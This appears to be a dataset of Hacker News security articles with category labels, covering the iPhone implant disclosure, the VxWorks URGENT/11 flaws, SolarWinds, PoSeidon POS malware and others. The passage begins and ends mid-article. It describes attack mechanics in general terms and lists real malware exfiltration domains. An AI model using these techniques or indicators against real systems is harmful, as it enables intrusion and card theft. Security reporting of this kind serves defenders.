The spyware implant also stole the database files from the victim's device used by popular end-to-end encryption apps like Whatsapp, Telegram, and iMessage to store data, including private chats in the plaintext.
In addition, the implant also had access to users' device's keychain data containing credentials, authentication tokens, and certificates used on and by the device.

""The keychain also contains the long-lived tokens used by services such as Google's iOS Single-Sign-On to enable Google apps to access the user's account. These will be uploaded to the attackers and can then be used to maintain access to the user's Google account, even once the implant is no longer running,"" Beers says.

While the implant would be automatically wiped off from an infected iPhone upon rebooting thereby leaving no trace of itself, visiting the hacked site again would reinstall the implant.

Alternatively, as Beer explains, the attackers may ""nevertheless be able to maintain persistent access to various accounts and services by using the stolen authentication tokens from the keychain, even after they lose access to the device.""

Takeaway: Since Apple already patched the majority of vulnerabilities exploited by the uncovered iPhone exploits, users are always recommended to keep their devices up-to-date to avoid becoming victims of such attack chains.

Update: Apple Accuses Google of Spreading Misinformation

Apple released a bold statement regarding the ""indiscriminate"" iPhone hacking campaign that Google's Project Zero researchers disclosed earlier this week, accusing Google of creating the false impression of ""mass exploitation.""

Apple confirmed that the attack, but said it affected fewer than a dozen websites that focus on content related to the Uighur community, and also clarifies the watering hole sites attacks were only operational for a brief period, roughly two months, not ""two years"" as Google implies.

In response to Apple's latest statement, Google spokesperson also released and shared a statement with The Hacker News, saying:
""Project Zero posts technical research that is designed to advance the understanding of security vulnerabilities, which leads to better defensive strategies. We stand by our in-depth research which was written to focus on the technical aspects of these vulnerabilities. We will continue to work with Apple and other leading companies to help keep people safe online.""

",Vulnerability
Critical Flaws Found in VxWorks RTOS That Powers Over 2 Billion Devices,https://thehackernews.com/2019/07/vxworks-rtos-vulnerability.html,"Security researchers have discovered almost a dozen zero-day vulnerabilities in VxWorks, one of the most widely used real-time operating systems (RTOS) for embedded devices that powers over 2 billion devices across aerospace, defense, industrial, medical, automotive, consumer electronics, networking, and other critical industries.

According to a new report Armis researchers shared with The Hacker News prior to its release, the vulnerabilities are collectively dubbed as URGENT/11 as they are 11 in total, 6 of which are critical in severity leading to 'devastating' cyberattacks.

Armis Labs is the same IoT security company that previously discovered the BlueBorne vulnerabilities in Bluetooth protocol that impacted more than 5.3 Billion devices—from Android, iOS, Windows and Linux to the Internet of things (IoT).

These vulnerabilities could allow remote attackers to bypass traditional security solutions and take full control over affected devices or ""cause disruption on a scale similar to what resulted from the EternalBlue vulnerability,"" without requiring any user interaction, researchers told The Hacker News.

It's likely possible that many of you might have never heard of this operating system, but Wind River VxWorks is being used to run many everyday internet-of-things such as your webcam, network switches, routers, firewalls, VOIP phones, printers, and video-conferencing products, as well as traffic lights.

Besides this, VxWorks is also being used by mission-critical systems including SCADA, trains, elevators and industrial controllers, patient monitors, MRI machines, satellite modems, in-flight WiFi systems, and even the mars rovers.

URGENT/11 ⁠— Vulnerabilities in VxWorks RTOS

The reported URGENT/11 vulnerabilities reside in the IPnet TCP/IP networking stack of the RTOS that was included in VxWorks since its version 6.5, apparently leaving all versions of VxWorks released in the last 13 years vulnerable to device takeover attacks.
All 6 critical vulnerabilities let attackers trigger remote code execution (RCE) attacks, and remaining flaws could lead to denial-of-service, information leaks, or logical flaws.

Critical Remote Code Execution Flaws:

Stack overflow in the parsing of IPv4 options (CVE-2019-12256)
Four memory corruption vulnerabilities stemming from erroneous handling of TCP's Urgent Pointer field (CVE-2019-12255, CVE-2019-12260, CVE-2019-12261, CVE-2019-12263)
Heap overflow in DHCP Offer/ACK parsing in ipdhcpc (CVE-2019-12257)

DoS, Information Leak, and Logical Flaws:

TCP connection DoS via malformed TCP options (CVE-2019-12258)
Handling of unsolicited Reverse ARP replies (Logical Flaw) (CVE-2019-12262)
Logical flaw in IPv4 assignment by the ipdhcpc DHCP client (CVE-2019-12264)
DoS via NULL dereference in IGMP parsing (CVE-2019-12259)
IGMP Information leak via IGMPv3 specific membership report (CVE-2019-12265)

All these flaws can be exploited by an unauthenticated, remote attacker just by sending a specially crafted TCP packet to an affected device without requiring any user interaction or prior information regarding the targeted device.

However, each version of VxWorks since 6.5 is not vulnerable to all 11 flaws, but at least one critical RCE flaw affects each version of the real-time operating system.

""VxWorks includes some optional mitigations that could make some of the URGENT/11 vulnerabilities harder to exploit, but these mitigations are rarely used by device manufacturers,"" the researchers say.

Armis researchers believe URGENT/11 flaws might affect devices using other real-time operating systems as well, as IPnet was used in other operating systems prior to its acquisition by VxWorks in 2006.

How Can Remote Attackers Exploit VxWorks Flaws?

The exploitation of VxWorks IPnet vulnerabilities also depends upon the location of an attacker and the targeted vulnerable device; after all, the attacker's network packets should reach the vulnerable system.
According to the researchers, the threat surface of URGENT/11 flaws can be divided into 3 attack scenarios, as explained below:

Scenario 1: Attacking the Network's Defenses

Since VxWorks also powers networking and security devices such as switches, routers, and firewalls that are usually reachable over the public Internet, a remote attacker can launch a direct attack against such devices, taking complete control over them, and subsequently, over the networks behind them.


For example, there are over 775,000 SonicWall firewalls connected to the Internet at the time of writing that runs VxWorks RTOS, according to Shodan search engine.


Scenario 2: Attacking from Outside the Network Bypassing Security

Besides targeting Internet-connected devices, an attacker can also attempt to target IoT devices that are not directly connected to the Internet but communicates with its cloud-based application protected behind a firewall or NAT solution.
According to the researchers, a potential attacker can use DNS changing malware or man-in-the-middle attacks to intercept a targeted device' TCP connection to the cloud and launch a remote code execution attack on it.

Scenario 3: Attacking from within the Network

In this scenario, an attacker who already has positioned himself within the network as a result of a prior attack can launch attacks against affected VxWorks powered devices simultaneously even when they have no direct connection to the Internet.



""The vulnerabilities in these unmanaged and IoT devices can be leveraged to manipulate data, disrupt physical world equipment, and put people's lives at risk,"" said Yevgeny Dibrov, CEO and co-founder of Armis.

""A compromised industrial controller could shut down a factory, and a pwned patient monitor could have a life-threatening effect.""

""To the best of both companies knowledge, there is no indication the URGENT/11 vulnerabilities have been exploited.""

However, researchers also confirmed that these vulnerabilities do not impact other variants of VxWorks designed for certification, such as VxWorks 653 and VxWorks Cert Edition.

Armis reported these vulnerabilities to Wind River Systems responsibly, and the company has already notified several device manufacturers and released patches to address the vulnerabilities last month.

Meanwhile, affected product vendors are also in the process of releasing patches for their customers, which researchers believe will take time and be difficult, as is usually the case when it comes to IoT and critical infrastructure updates. SonicWall and Xerox have already released patches for its firewall devices and printers, respectively.

",Vulnerability
Microsoft Says SolarWinds Hackers Accessed Some of Its Source Code,https://thehackernews.com/2020/12/microsoft-says-solarwinds-hackers.html,"Microsoft on Thursday revealed that the threat actors behind the SolarWinds supply chain attack were able to gain access to a small number of internal accounts and escalate access inside its internal network.
The ""very sophisticated nation-state actor"" used the unauthorized access to view, but not modify, the source code present in its repositories, the company said.
""We detected unusual activity with a small number of internal accounts and upon review, we discovered one account had been used to view source code in a number of source code repositories,"" the Windows maker disclosed in an update.
""The account did not have permissions to modify any code or engineering systems and our investigation further confirmed no changes were made. These accounts were investigated and remediated.""
The development is the latest in the far-reaching espionage saga that came to light earlier in December following revelations by cybersecurity firm FireEye that attackers had compromised its systems via a trojanized SolarWinds update to steal its Red Team penetration testing tools.
During the course of the probe into the hack, Microsoft had previously admitted to detecting malicious SolarWinds binaries in its own environment but denied its systems were used to target others or that attackers had access to production services or customer data.
Several other companies, including Cisco, VMware, Intel, NVIDIA, and a number of other US government agencies, have since discovered markers of the Sunburst (or Solorigate) malware on their networks, planted via tainted Orion updates.
The Redmond-based company said its investigation is still ongoing but downplayed the incident, adding ""viewing source code isn't tied to elevation of risk"" and that it had found evidence of attempted activities that were neutralized by its protections.
In a separate analysis published by Microsoft on December 28, the company called the attack a ""cross-domain compromise"" that allowed the adversary to introduce malicious code into signed SolarWinds Orion Platform binaries and leverage this widespread foothold to continue operating undetected and access the target's cloud resources, culminating in the exfiltration of sensitive data.
SolarWinds' Orion software, however, wasn't the only initial infection vector, as the US Cybersecurity and Infrastructure Security Agency (CISA) said the attackers used other methods as well, which have not yet been publicly disclosed.
The agency also released supplemental guidance urging all US federal agencies that still run SolarWinds Orion software to update to the latest 2020.2.1 HF2 version.
""The National Security Agency (NSA) has examined this version and verified that it eliminates the previously identified malicious code,"" the agency said.

",Malware
"Trojanized BitTorrent Software Update Hijacked 400,000 PCs Last Week",https://thehackernews.com/2018/03/windows-malware-hacking.html,"A massive malware outbreak that last week infected nearly half a million computers with cryptocurrency mining malware in just a few hours was caused by a backdoored version of popular BitTorrent client called MediaGet.

Dubbed Dofoil (also known as Smoke Loader), the malware was found dropping a cryptocurrency miner program as payload on infected Windows computers that mine Electroneum digital coins for attackers using victims' CPU cycles.

Dofoil campaign that hit PCs in Russia, Turkey, and Ukraine on 6th March was discovered by Microsoft Windows Defender research department and blocked the attack before it could have done any severe damages.

At the time when Windows Defender researchers detected this attack, they did not mention how the malware was delivered to such a massive audience in just 12 hours.

However, after investigation Microsoft today revealed that the attackers targeted the update mechanism of MediaGet BitTorrent software to push its trojanized version (mediaget.exe) to users' computers.
""A signed mediaget.exe downloads an update.exe program and runs it on the machine to install a new mediaget.exe. The new mediaget.exe program has the same functionality as the original but with additional backdoor capability,"" the researchers explain in a blog post published today.
Researchers believe MediaGet that signed update.exe is likely to be a victim of the supply chain attack, similar to CCleaner hack that infected over 2.3 million users with the backdoored version of the software in September 2017.
Also, in this case, the attackers signed the poisoned update.exe with a different certificate and successfully passed the validation required by the legitimate MediaGet.
""The dropped update.exe is a packaged InnoSetup SFX which has an embedded trojanized mediaget.exe, update.exe. When run, it drops a trojanized unsigned version of mediaget.exe.""
Once updated, the malicious BitTorrent software with additional backdoor functionality randomly connects to one (out of four) of its command-and-control (C&C) servers hosted on decentralized Namecoin network infrastructure and listens for new commands.

It then immediately downloads CoinMiner component from its C&C server, and start using victims' computers mine cryptocurrencies for the attackers.

Using C&C servers, attackers can also command infected systems to download and install additional malware from a remote URL.

The researchers found that the trojanized BitTorrent client, detected by Windows Defender AV as Trojan:Win32/Modimer.A, has 98% similarity to the original MediaGet binary.

Microsoft says behavior monitoring and AI-based machine learning techniques used by its Windows Defender Antivirus software have played an important role to detect and block this massive malware campaign.

",Malware
Malicious Olympic 2012 Android Apps & Domains,https://thehackernews.com/2012/08/malicious-olympic-2012-android-apps.html,"Whenever an important event takes place, new opportunities for cyber criminals, especially for those who develop attacks based on social engineering, arise. Currently, the whole world has its eyes glued to TV screens watching the London 2012 Olympic Games.

Anti-malware and anti-virus solutions provider Webroot has issued a warning that an app app called ""London Olympics Widget,"" which is described as an app that displays aggregated Olympic news coverage. In fact, it's really just harvesting the user's contact list and device ID while reading up on SMS messages too.

The package name is 'com.games.London.Olympics.widget'. This app has a digital certificate claiming it was developed in New Delhi, India.

For this scam, cybercriminals create websites that are very appealing; some even look very professional that they make it seem that you are close to having access to live programming. Researchers explain that the crooks rely on black hat SEO techniques to make sure that their malicious websites show up among the first in search engine results.

The security firm has determined that close to 10,000 clicks have already been redirected to the fraudulent Olympics website.Overall, a number of 38,000 clicks have been redirected to such sites, the victims being spread out across 100 countries.

Webroot advises that consumers should take a close look at the author of the app and then search the name to see if it is in fact a reputable company and/or developer, as seen in the photo above. A way that consumers can protect themselves from becoming a victim of these types of online scams is by learning about social engineering so they can recognize it and avoid falling into these traps.

The official London 2012 mobile app can be downloaded from the site.

",Malware
Malware Attack on South Korean Entities Was Work of Andariel Group,https://thehackernews.com/2021/06/malware-attack-on-south-korean-entities.html,"A malware campaign targeting South Korean entities that came to light earlier this year has been attributed to a North Korean nation-state hacking group called Andariel, once again indicating that Lazarus attackers are following the trends and their arsenal is in constant development.
""The way Windows commands and their options were used in this campaign is almost identical to previous Andariel activity,"" Russian cybersecurity firm Kaspersky said in a deep-dive published Tuesday. Victims of the attack are in the manufacturing, home network service, media, and construction sectors.
Designated as part of the Lazarus constellation, Andariel is known for unleashing attacks on South Korean organizations and businesses using specifically tailored methods created for maximum effectivity. In September 2019, the sub-group, along with Lazarus and Bluenoroff, was sanctioned by the U.S. Treasury Department for their malicious cyber activity on critical infrastructure.
Andariel is believed to have been active since at least May 2016.
North Korea has been behind an increasingly orchestrated effort aimed at infiltrating computers of financial institutions in South Korea and around the world as well as staging cryptocurrency heists to fund the cash-strapped country in an attempt to circumvent the stranglehold of economic sanctions imposed to stop the development of its nuclear weapons program.
The findings from Kaspersky build upon a previous report from Malwarebytes in April 2021, which documented a novel infection chain that distributed phishing emails weaponized with a macro embedded in a Word file that's executed upon opening in order to deploy malicious code concealed in the form of a bitmap (.BMP) image file to drop a remote access trojan (RAT) on targeted systems.
According to the latest analysis, the threat actor, besides installing a backdoor, is also said to have delivered file-encrypting ransomware to one of its victims, implying a financial motive to the attacks. It's worth noting that Andariel has a track record of attempting to steal bank card information by hacking into ATMs to withdraw cash or sell customer information on the black market.
""This ransomware sample is custom made and specifically developed by the threat actor behind this attack,"" Kaspersky Senior Security Researcher Seongsu Park said. ""This ransomware is controlled by command line parameters and can either retrieve an encryption key from the C2 [server] or, alternatively, as an argument at launch time.""
The ransomware is designed to encrypt all files in the machine with the exception of system-critical "".exe,"" "".dll,"" "".sys,"" "".msiins,"" and "".drv"" extensions in return for paying a bitcoin ransom to gain access to a decrypt tool and unique key to unlock the scrambled files.
Kaspersky's attribution to Andariel stems from overlaps in the XOR-based decryption routine that have been incorporated into the group's tactics as early as 2018 and in the post-exploitation commands executed on victim machines.
""The Andariel group has continued to focus on targets in South Korea, but their tools and techniques have evolved considerably,"" Park said. ""The Andariel group intended to spread ransomware through this attack and, by doing so, they have underlined their place as a financially motivated state-sponsored actor.""

",Malware
Chinese Android Smartphone comes with Pre-installed Spyware,https://thehackernews.com/2014/06/chinese-android-smartphone-comes-with.html,"If US has banned its several major government departments, including NASA, Justice and Commerce Departments, from purchasing Chinese products and computer technology due to suspected backdoors, then they are not wrong at all.

A popular Chinese Android Smartphone comes pre-installed with a Trojan that could allow manufacturer to spy onto their users' comprising their personal data and conversations without any restrictions and users knowledge.

GOOGLE PLAY STORE OR A SPYING APP?
According to the researchers at the German security firm G Data, the Star N9500 smartphone, a popular and cheap handset device in China, comes pre-installed with Uupay.D Trojan horse, disguising as a version of the Google Play Store.

The trojan camouflage as the Google Play Store, so it enables Chinese Company to secretly install malicious apps, which creates the whole spectrum of abuse.

STEALING WITHOUT RESTRICTIONS
The nasty Spyware runs in the background and has capability to steal personal information, copy users' data, record calls automatically with unlimited time and send costly SMS to premium services, thereby sending all the stolen information to an anonymous server based in China.

The malware is also capable to activate the microphone on users' smartphone at any time in order to turn users' smartphone into a bugging device that allows hackers to hear anything you are saying near by the phone.

""The spy function is invisible to the user and cannot be deactivated,"" reads the blog post published yesterday. ""This means that online criminals have full access to the smartphone and all personal data. Logs that could make an access visible to the users are deleted directly.""

REMOVAL OF THE TROJAN NOT POSSIBLE
In addition, the malicious software allow preventing security updates from being downloaded and one can not disable the program. ""The program also blocks the installation of security updates,"" claimed G Data.

Moreover, it is not possible to uninstall the trojan because it is embedded in the firmware of the Star-phone device.
""Unfortunately, removing the Trojan is not possible as it is part of the device's firmware and apps that fall into this category cannot be deleted,"" said Christian Geschkat, Product Manager at G Data. ""This includes the fake Google Play Store app of the N9500.""

CHEAP PRICE ATTRACTS USERS
The Star N9500 is an affordable copy of the Samsung Galaxy S4, which can be easily found at various online retailers such as eBay and Amazon for 130 to 165 euros and is also equipped with a variety of accessories, such as a second battery, car charger adapter and a second cover.

But considering the high technological standard of device, the low price comes as a surprise and the security researchers at G DATA believe that it is the cheap price of the mobile device that has made possible by the subsequent selling of data records stolen from the smartphone owner.

HOW TO CHECK IF YOU'RE AFFECTED
We recommend you to download an up-to-date Mobile Anti-virus software and scan your device for the trojan and if found return the device back from where you purchased.

Avoid buying Chinese and cheap products in order to keep your privacy and personal information away from the hands of cyber criminals and prying eyes.

",Malware
"TripAdvisor travel website infected with Gamarue malware, infect 2% Indian Internet Users",https://thehackernews.com/2012/11/tripadvisor-travel-website-infected.html,"TripAdvisor Inc., a hotel-review website, recently became a victim of the bug, said Trend Micro Inc., an Internet security solutions provider. Many of TripAdvisor's users received spam mail with booking confirmations for hotels they had checked out on the website, 1.89% of Indian Internet Users have already been affected.

The email purporting to be in the name of one of the Hotels has a similar theme to its English counterpart as it contains confirmation and details on an alleged booking reservation. TripAdvisor, which is among India's top five travel brands as per digital market research firm ComScore Inc., globally has 60 million unique monthly visitors and 2.4 million unique users per month in India.


Gamarue is a family of malware that may be distributed by exploit kits, spammed emails or other malware, and has been observed stealing information from an affected user.

Trend Micro reported that one of their manager received the spam at his personal e-mail address but the address mentioned in the mail was false as the actual hotel does not even exist in India. This made it clear that it was spam mail and nothing more than that.

""A lot of e-commerce websites pay the price of being popular. Online travel and hotel market has become an attractive target for cybercriminals given the large volume of transactions on hotel and online sites. A frequent traveler who has done a hotel booking or checked reviews recently, in all probability, would be prompted to click that mail. When a user clicks the attachment in this spam mail, the malware known as Gamarue becomes active. It can steal from an affected user any information left behind on the emails and saved on user's system"", said Suchita Vishnoi, Head Corporate Communications, Trend Micro.

The online travel and hotel market has become an attractive target for cyber criminals given the large volume of transactions on hotel and airline sites. One should be very smart and cautious while replying to their mails and should always confirm their source. It is a very easy trick, yet effective.

",Malware
Patched WinRAR Bug Still Under Active Attack—Thanks to No Auto-Updates,https://thehackernews.com/2019/03/winrar-hacking-malware.html,"Various cyber criminal groups and individual hackers are still exploiting a recently patched critical code execution vulnerability in WinRAR, a popular Windows file compression application with 500 million users worldwide.

Why? Because the WinRAR software doesn't have an auto-update feature, which, unfortunately, leaves millions of its users vulnerable to cyber attacks.

The critical vulnerability (CVE-2018-20250) that was patched late last month by the WinRAR team with the release of WinRAR version 5.70 beta 1 impacts all prior versions of WinRAR released over the past 19 years.

For those unaware, the vulnerability is ""Absolute Path Traversal"" bug that resides in the old third-party library UNACEV2.DLL of WinRAR and allows attackers to extract a compressed executable file from the ACE archive to one of the Windows Startup folders, where the malicious file would automatically run on the next reboot.

Therefore, to successfully exploit this vulnerability and take full control over the targeted computers, all an attacker needs to do is just convincing users into opening a maliciously-crafted compressed archive file using WinRAR.
Immediately after the details and proof-of-concept (PoC) exploit code went public, malicious attackers started exploiting the vulnerability in a malspam email campaign to install malware on users' computers running the vulnerable version of the software.

Now, security researchers from McAfee reported that they identified more than ""100 unique exploits and counting"" in the first week since the vulnerability was publicly disclosed, with most of the initial targets residing in the United States.

One recent campaign spotted by the researchers piggybacks on a bootlegged copy of an Ariana Grande's hit album, which is currently being detected as malware by only 11 security products, whereas 53 antivirus products fail to alert their users at the time of writing.

The malicious RAR file (Ariana_Grande-thank_u,_next(2019)_[320].rar) detected by McAfee extracts a list of harmless MP3 files to the victim's download folder but also drops a malicious EXE file to the startup folder, which has been designed to infect the targeted computer with malware.

""When a vulnerable version of WinRAR is used to extract the contents of this archive, a malicious payload is created in the Startup folder behind the scenes,"" the researchers explain.

""User Access Control (UAC) is bypassed, so no alert is displayed to the user. The next time the system restarts, the malware is run.""

Unfortunately, such campaigns are still ongoing, and the best way to protect yourself from such attacks is to update your system by installing the latest version of the WinRAR software as soon as possible and avoid opening files received from unknown sources.

",Malware
British Airways Fined £183 Million Under GDPR Over 2018 Data Breach,https://thehackernews.com/2019/07/british-airways-breach-gdpr-fine.html,"Britain's Information Commissioner's Office (ICO) today hit British Airways with a record fine of £183 million for failing to protect the personal information of around half a million of its customers during last year's security breach.

British Airways, who describes itself as ""The World's Favorite Airline,"" disclosed a breach last year that exposed personal details and credit-card numbers of up to 380,000 customers and lasted for more than two weeks.

At the time, the company confirmed that customers who booked flights on its official website (ba.com) and British Airways mobile app between August 21 and September 5 had had their details stolen by attackers.

The cyberattack was later attributed to the infamous Magecart threat actor, one of the most notorious hacking groups specialized in stealing credit card details from poorly-secured websites, especially online eCommerce platforms.

Magecart hackers have been known for using digital credit card skimmer wherein they secretly insert a few lines of malicious code into the checkout page of a compromised website that captures payment details of customers and then sends it to a remote server.

Besides British Airways, Magecart groups have also been responsible for card breaches on sites belonging to high-profile companies like TicketMaster, Newegg, as well as sites belonging to other small online merchants.

In a statement released today, ICO said its extensive investigation found that a variety of information related to British Airways' customers was compromised by ""poor security arrangements"" at the company, including their names and addresses, log-ins, payment card data, and travel booking details.

""People's personal data is just that – personal. When an organization fails to protect it from loss, damage or theft, it is more than an inconvenience,"" Information Commissioner Elizabeth Denham said.

""That's why the law is clear – when you are entrusted with personal data, you must look after it. Those that don't will face scrutiny from my office to check they have taken appropriate steps to protect fundamental privacy rights.""

However, ICO also said that British Airways has cooperated with its investigation and has made improvements to the security arrangements since the last year data breach came to light.

Since the data breach happened after the EU's General Data Protection Regulation (GDPR) took effect on May 2018, the fine of £183.39 million has been imposed on British Airways, which is the equivalent of 1.5% of the company's worldwide turnover for its 2017 financial year but is still less than the possible maximum of 4%.

In response to the ICO announcement, British Airways, owned by IAG, said the company was ""surprised and disappointed"" by the ICO penalty.

""British Airways responded quickly to a criminal act to steal customers' data,"" said British Airways chairman and chief executive Alex Cruz.

""We have found no evidence of fraud/fraudulent activity on accounts linked to the theft. We apologize to our customers for any inconvenience this event caused.""

The company has 28 days to appeal the penalty.

Until now, the most significant penalty by the UK's data protection watchdog was £500,000, which was imposed on Facebook last year for allowing political consultancy firm Cambridge Analytica to gather and misuse data of 87 million users improperly.

The same penalty of £500,000 was also imposed on credit reporting agency Equifax last year for its 2017's massive data breach that exposed the personal and financial information of hundreds of millions of its customers.

Since both the incidents in Facebook and Equifax occurred before GDPR took effect, £500,000 was the maximum penalty ICO can impose under the UK's old Data Protection Act.
",Data_Breaches
iOS URL Scheme Could Let App-in-the-Middle Attackers Hijack Your Accounts,https://thehackernews.com/2019/07/ios-custom-url-scheme.html,"Security researchers have illustrated a new app-in-the-middle attack that could allow a malicious app installed on your iOS device to steal sensitive information from other apps by exploiting certain implementations of Custom URL Scheme.

By default on Apple's iOS operating system, every app runs inside a sandbox of its own, which prevent all apps installed on the same device from accessing each other's data.

However, Apple offers some methods that facilitate sending and receiving very limited data between applications.

One such mechanism is called URL Scheme, also known as Deep Linking, that allows developers to let users launch their apps through URLs, like facetime://, whatsapp://, fb-messenger://.

For example, when you click ""Sign in with Facebook"" within an e-commerce app, it directly launches the Facebook app installed on your device and automatically process the authentication.

In the background, that e-commerce app actually triggers the URL Scheme for the Facebook app (fb://) and passes some context information required to process your login.

Researchers at Trend Micro noticed that since Apple does not explicitly define which app can use what keywords for their Custom URL Scheme, multiple apps on an iOS device can use single URL Scheme—which eventually could trigger and pass sensitive data to a completely different app unexpectedly or maliciously.

""This vulnerability is particularly critical if the login process of app A is associated with app B,"" the researchers said.

To demonstrate this, researchers illustrated an attack scenario, as shown in the image above, using an example of a Chinese retailer app ""Suning"" and its implementation of ""Login with WeChat"" feature, explaining how it is susceptible to hacking.
In Short, when the Suning app users choose to access their e-commerce account using WeChat, it generates a login-request and sends it to the WeChat app installed on the same device using the iOS URL Scheme for the messaging app. WeChat app then requests a secret login token from its server and sends it back to the Suning app for authentication.

Researchers found that since Suning always uses the same login-request query to request the secret token and WeChat does not authenticate the source of the login request, the implementation is vulnerable to the app-in-the-middle attack via the iOS URL Scheme, eventually allowing attackers gain unauthorized access to users' accounts.

""With the legitimate WeChat URL Scheme, a fake-WeChat can be crafted, and Suning will query the fake one for Login-Token. If the Suning app sends the query, then the fake app can capture its Login-Request URL Scheme.

""WeChat recognizes it, but it will not authenticate the source of the Login-Request. Instead, it will directly respond with a Login-Token to the source of the request. Unfortunately, the source could be a malicious app that is abusing the Suning URL scheme.""

That means, a malicious app with the same Custom URL Scheme as a targeted application can trick other apps into sharing users' sensitive data with it or can perform unauthorized actions, potentially resulting in the loss of privacy, bill fraud, or exposure to pop-up ads.

""In our research, plenty of apps that our system audited were found taking advantage of this feature to show ads to victims. Potentially malicious apps would intentionally claim the URL Scheme associated with popular apps: wechat://, line://, fb://, fb-messenger://, etc. We identified some of these malicious apps,"" the researchers said.

Since the exploitability of this vulnerability totally depends upon the way a URL Scheme has been implemented, app developers and popular platforms are recommended to review their apps and validate fix for untrusted requests.

",Vulnerability
"Microsoft Patch Tuesday - 8 Security Updates, 4 critical vulnerabilities, including Internet Explorer zero-day",https://thehackernews.com/2013/10/October-Patch-Tuesday-Internet-Explorer-zero-day.html,"October is turning out to be a busy month for patches. This month also marks the 10-year anniversary of the Patch Tuesday program, which Microsoft started in October of 2003.

Scheduled for tomorrow, Microsoft has announced that they will release eight security updates including four critical, addressing vulnerabilities in Microsoft Windows, Internet Explorer (IE), Microsoft Office and its other products.

Bulletin 1 is almost certainly to a zero-day vulnerability CVE-2013-3893 that has been actively exploited by hackers in targeted attacks. Though Microsoft issued a temporary ""Fix it"" in September for the vulnerability,

Bulletins 2, 3 and 4 address vulnerabilities in a wide range of Microsoft products, including Windows XP, 7 and 8, and Windows Server 2003, 2008 and 2012.

Bulletins 5, 6 and 7 address vulnerabilities that could allow for remote code execution. Bulletin 8 addresses an information disclosure vulnerability in SIlverlight and is the least urgent of the eight patches.

Microsoft's pre-release notice provides more details of the affected software packages.

Adobe will also be releasing updates on Tuesday for Reader XI and Acrobat XI for Windows. Both are rated 2, which means it's a critical vulnerability, but not known to be in use.



",Vulnerability
13 Anonymous Members indicted and accused of participating in 'Operation Payback',https://thehackernews.com/2013/10/13-anonymous-members-indicted-and.html,"A U.S. Grand jury indicted and accused 13 members of the hacking group Anonymous for allegedly participating in the cyber attacks against a number of websites as an anti-copyright campaign called ""Operation Payback""

Hackers took down the sites by inflicting a denial of service, or DDoS, attack, including those belonging to the Recording Industry Association of America, Visa and MasterCard.
The attacks were in retaliation for the shutdown of ""The Pirate Bay,"" a Sweden-based file-sharing website used to illegally download copyrighted material.


The DDoS Campaign was later extended to Bank of America and credit card companies such as Visa and MasterCard after they refused to process payments for WikiLeaks.

According to the indictment, the suspects are charged with conspiracy to intentionally cause damage to protected computers. Suspects downloaded and used software known as Low Orbit Ion Cannon, or LOIC, to launch distributed denial-of-service attacks, that flooded web servers with traffic and rendered sites unavailable for legitimate users.

Those charged ranged in age from 21 to 65 and lived in 13 different U.S. States, named in the indictment were Dennis Owen Collins, Jeremy Leroy Heller, Chen Zhiwei, Joshua Phy, Ryan Russel Gubele, Robert Audubon Whitfield, Anthony Tadros, Geoffrey Kenneth Commander, Austen Stamm, Timothy Robert McLain, Wade Carl Williams and Thomas Bell.

The court papers say that the hackers conspired to coordinate DDoS attacks in Internet Chat Relay (IRC) channels. The group caused an estimated $5,000 in damages and affected at least 10 protected computers.

""We do not forgive. We do not forget. Expect us,""

",Cyber_Attack
"New ""PoSeidon"" Point of Sale Malware Spotted in the Wild",https://thehackernews.com/2015/03/poseidon-point-of-sale-malware.html,"A new and terribly awful breed of Point-of-Sale (POS) malware has been spotted in the wild by the security researchers at Cisco's Talos Security Intelligence & Research Group that the team says is more sophisticated and nasty than previously seen Point of Sale malware.

The Point-of-Sale malware, dubbed ""PoSeidon"", is designed in a way that it has the capabilities of both the infamous Zeus banking Trojan and BlackPOS malware which robbed Millions from US giant retailers, Target in 2013 and Home Depot in 2014.

PoSeidon malware scrapes memory from Point of Sale terminals to search for card number sequences of principal card issuers like Visa, MasterCard, AMEX and Discover, and goes on using the Luhn algorithm to verify that credit or debit card numbers are valid.

The malware then siphon the captured credit card data off to Russian (.ru) domains for harvesting and likely resale, the researchers say.
""PoSeidon is another in the growing number of malware targeting POS systems that demonstrate the sophisticated techniques and approaches of malware authors,"" researchers of Cisco's Security Solutions team wrote in a blog post.
""Attackers will continue to target POS systems and employ various obfuscation techniques in an attempt to avoid detection. As long as POS attacks continue to provide returns, attackers will continue to invest in innovation and development of new malware families.""
The components of PoSeidon are illustrated in the diagram above.

Poseidon Point of Sale malware comprises of a Loader binary that maintains persistence on the target machine in an attempt to survive reboots and user logouts. The Loader then receives other components from the command and control servers.

A subsequently downloaded binary FindStr installs a Keylogger component which scans the memory of the PoS device for credit card number sequences.

The identified numbers are verified using the Luhn algorithm and then encrypted and sent to one of the given exfiltration servers, majority of which belongs to Russian domains:
linturefa.com
xablopefgr.com
tabidzuwek.com
lacdileftre.ru
tabidzuwek.com
xablopefgr.com
lacdileftre.ru
weksrubaz.ru
linturefa.ru
mifastubiv.ru
xablopefgr.ru
tabidzuwek.ru
In past few years, a number of Point of Sale malware has been spotted in the United States, collecting users' credit card magnetic stripe data, and selling them in underground black markets.

Network administrators should remain vigilant and must adhere to industry best practices so that they can protect themselves against advancing Point of Sale malware threats, the researchers say.

",Malware
"Mysterious malware that re-installs itself infected over 45,000 Android Phones",https://thehackernews.com/2019/10/remove-xhelper-android-malware.html,"Over the past few months, hundreds of Android users have been complaining online of a new piece of mysterious malware that hides on the infected devices and can reportedly reinstall itself even after users delete it, or factory reset their devices.

Dubbed Xhelper, the malware has already infected more than 45,000 Android devices in just the last six months and is continuing to spread by infecting at least 2,400 devices on an average each month, according to the latest report published today by Symantec.

Here below, I have collected excerpts from some comments that affected users shared on the online forums while asking for how to remove the Xhelper Android malware:

""xhelper regularly reinstalls itself, almost every day!""

""the 'install apps from unknown sources' setting turns itself on.""

""I rebooted my phone and also wiped my phone yet the app xhelper came back.""

""Xhelper came pre-installed on the phone from China.""

""don't buy cheap brand phones.""

From Where Xhelper Android Malware Comes?

Though the Symantec researchers did not find the exact source from where the malicious app packed with the Xhelper malware comes in the first place, the security firm did suspect that a malicious system app pre-installed on Android devices from certain brands actually downloaded the malware.


""None of the samples we analysed were available on the Google Play Store, and while it is possible that the Xhelper malware is downloaded by users from unknown sources, we believe that may not be the only channel of distribution,"" Symantec researchers write in its report.

""From our telemetry, we have seen these apps installed more frequently on certain phone brands, which leads us to believe that the attackers may be focusing on specific brands.""

In a separate report published two months ago by Malwarebytes, researchers believed that the Xhelper malware is being spread by ""web redirects"" or ""other shady websites"" that prompt users to download apps from untrusted third-party sources.

How Does the Xhelper Malware Work?

